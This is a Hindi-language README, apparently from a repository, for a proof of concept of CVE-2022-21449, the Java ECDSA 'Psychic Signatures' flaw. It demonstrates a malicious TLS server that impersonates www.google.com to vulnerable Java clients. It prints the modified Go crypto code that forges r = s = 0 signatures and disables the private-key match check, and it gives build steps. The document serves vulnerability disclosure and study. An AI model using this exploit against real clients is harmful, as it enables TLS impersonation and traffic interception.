
CVE-2022-21449 प्रूफ ऑफ कॉन्सेप्ट जो कमजोर Java संस्करण पर चलने वाले क्लाइंट और एक दुर्भावनापूर्ण TLS सर्वर के साथ इसके उपयोग का प्रदर्शन करता है
CVE-2022-21449 (नील मैडन की भेद्यता राइटअप में इसे साइकिक सिग्नेचर भी कहा गया है) एक प्रूफ ऑफ कॉन्सेप्ट है जो एक भेद्य क्लाइंट और एक दुर्भावनापूर्ण TLS सर्वर के साथ इसके उपयोग को प्रदर्शित करता है।
दुर्भावनापूर्ण सर्वर www.google.com के लिए एक वैध (2022-04-20 तक) प्रमाणपत्र श्रृंखला प्रस्तुत करता है, जिसमें एक ECDSA सार्वजनिक कुंजी (secp256r1) होती है। हालाँकि, crypto/ecdsa पैकेज को r = s = 0 के साथ एक अमान्य हस्ताक्षर प्रस्तुत करने के लिए संशोधित किया गया है। भेद्य क्लाइंट इस अमान्य हस्ताक्षर को स्वीकार कर लेता है, जिससे शेष TLS हैंडशेक जारी रह पाता है।
निर्माण और अन्वेषण के दौरान हटाई गई *_test.go फ़ाइलों के अलावा, दुर्भावनापूर्ण TLS सर्वर के लिए golang क्रिप्टो लाइब्रेरी में ये संशोधन आवश्यक थे। इन्हें go/src निर्देशिका में CVE-2022-21449 खोज/ग्रेप करके भी पाया जा सकता है।
किसी मौजूदा golang इंस्टॉलेशन के साथ-साथ maven की आवश्यकता होती है, फिर ./build.sh चलाएँ।
OpenJDK 16.0.1 (build 16.0.1+9-Ubuntu-120.04, 2021-04-20) के साथ Ubuntu 20.04.4 LTS (WSL2) पर परीक्षण किया गया।
https://user-images.githubusercontent.com/7225227/164332612-832b046b-cd2e-46e8-b3d6-1da36e290992.mp4
crypto/ecdsa/ecdsa.go में, signGeneric फ़ंक्शन को मूल रूप से इस प्रकार संशोधित किया गया था:
func signGeneric(priv *PrivateKey, csprng *cipher.StreamReader, c elliptic.Curve, hash []byte) (r, s *big.Int, err error) {
// SEC 1, Version 2.0, Section 4.1.3
// CVE-2022-21449 - Modified and removed all calculations. Return r = s = 0
r = new(big.Int)
s = new(big.Int)
return
}
और crypto/tls/tls.go में, X509KeyPair फ़ंक्शन को ECDSA सार्वजनिक कुंजियों के लिए यह सत्यापन जाँच अक्षम करने के लिए बदला गया है कि दी गई निजी कुंजी X.509 प्रमाणपत्र की सार्वजनिक कुंजी से मेल खाती है:
// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data. On successful return, Certificate.Leaf will be nil because
// the parsed form of the certificate is not retained.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) {
fail := func(err error) (Certificate, error) { return Certificate{}, err }
...
switch pub := x509Cert.PublicKey.(type) {
...
case *ecdsa.PublicKey:
// CVE-2022-21449: Modified checks away
_, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
if !ok {
return fail(errors.New("tls: private key type does not match public key type"))
}
/*if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
return fail(errors.New("tls: private key does not match public key"))
}*/
...
}